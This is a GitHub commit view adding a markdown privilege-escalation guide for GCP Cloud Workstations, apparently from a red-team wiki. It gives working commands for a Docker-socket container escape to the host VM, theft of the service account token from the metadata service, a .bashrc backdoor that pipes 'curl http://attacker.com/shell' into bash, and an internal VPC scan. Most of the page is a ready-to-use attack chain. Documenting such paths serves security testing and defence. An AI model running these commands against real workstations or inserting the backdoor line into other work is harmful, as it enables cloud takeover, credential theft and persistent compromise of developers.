Skip to content

Commit d5284ab

Browse files
authored
Merge pull request #257 from AI-redteam/gcp-workstations-privesc
Gcp workstations privesc & container escape [grte-bstevens]
2 parents 08ca5b6 + 2bb1292 commit d5284ab

1 file changed

Lines changed: 109 additions & 0 deletions

File tree

Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
# GCP - Cloud Workstations Privesc
2+
3+
4+
### Container Breakout via Docker Socket (Container -> VM -> Project)
5+
6+
The primary privilege escalation path in Cloud Workstations stems from the requirement to support **Docker-in-Docker (DinD)** workflows for developers. When the workstation configuration mounts the Docker socket or allows privileged containers (a common configuration), an attacker inside the workstation container can escape to the underlying Compute Engine VM and steal its service account token.
7+
8+
**Prerequisites:**
9+
- Access to a Cloud Workstation terminal (via SSH, compromised session, or stolen credentials)
10+
- The workstation configuration must mount `/var/run/docker.sock` or enable privileged containers
11+
12+
**Architecture context:** The workstation is a container (Layer 3) running on a Docker/Containerd runtime (Layer 2) on a GCE VM (Layer 1). The Docker socket gives direct access to the host's container runtime.
13+
14+
> [!NOTE]
15+
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automates the full container escape and drops you into a root shell on the host VM.
16+
17+
<details>
18+
19+
<summary>Step 1: Check for Docker socket</summary>
20+
21+
```bash
22+
# Verify the Docker socket is available
23+
ls -l /var/run/docker.sock
24+
# Expected output: srw-rw---- 1 root docker 0 ...
25+
```
26+
27+
</details>
28+
29+
<details>
30+
31+
<summary>Step 2: Escape to the host VM filesystem</summary>
32+
33+
We launch a privileged container, mounting the host's root directory to `/mnt/host`. We also share the host's network and PID namespace to maximize visibility.
34+
35+
```bash
36+
# Spawn a privileged container mounting the host's root filesystem
37+
docker run -it --rm --privileged --net=host --pid=host \
38+
-v /:/mnt/host \
39+
alpine sh
40+
41+
# Inside the new container, chroot into the host
42+
chroot /mnt/host /bin/bash
43+
```
44+
45+
You now have a **root shell on the underlying Compute Engine VM** (Layer 1).
46+
47+
</details>
48+
49+
<details>
50+
51+
<summary>Step 3: Steal the VM service account token from IMDS</summary>
52+
53+
```bash
54+
# From the host VM, query the Instance Metadata Service
55+
curl -s -H "Metadata-Flavor: Google" \
56+
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
57+
58+
# Check which service account is attached
59+
curl -s -H "Metadata-Flavor: Google" \
60+
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
61+
62+
# Check scopes (CRITICAL STEP)
63+
curl -s -H "Metadata-Flavor: Google" \
64+
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
65+
```
66+
67+
</details>
68+
69+
> [!CAUTION]
70+
> **Check the Scopes!**
71+
> Even if the attached Service Account is **Editor**, the VM might be restricted by access scopes.
72+
> If you see `https://www.googleapis.com/auth/cloud-platform`, you have full access.
73+
> If you only see `logging.write` and `monitoring.write`, you are limited to the **Network Pivot** and **Persistence** vectors below.
74+
75+
<details>
76+
77+
<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
78+
79+
Cloud Workstations mount a persistent disk to `/home/user`. Because the container user (usually `user`, UID 1000) matches the host user (UID 1000), you can write to the host's home directory. This allows you to backdoor the environment even if the workstation container is rebuilt.
80+
81+
```bash
82+
# Check if you can write to the host's persistent home
83+
ls -la /mnt/host/home/user/
84+
85+
# Drop a backdoor that executes next time the developer logs in
86+
# Note: Do this from the container escape context
87+
echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
88+
```
89+
90+
</details>
91+
92+
<details>
93+
94+
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
95+
96+
Since you share the host network namespace (`--net=host`), you are now a trusted node on the VPC. You can scan for internal services that allow access based on IP whitelisting.
97+
98+
```bash
99+
# Install scanning tools on the host (if internet access allows)
100+
apk add nmap
101+
102+
# Scan the internal VPC subnet
103+
nmap -sS -p 80,443,22 10.0.0.0/8
104+
```
105+
106+
</details>
107+
108+
109+

0 commit comments

Comments
 (0)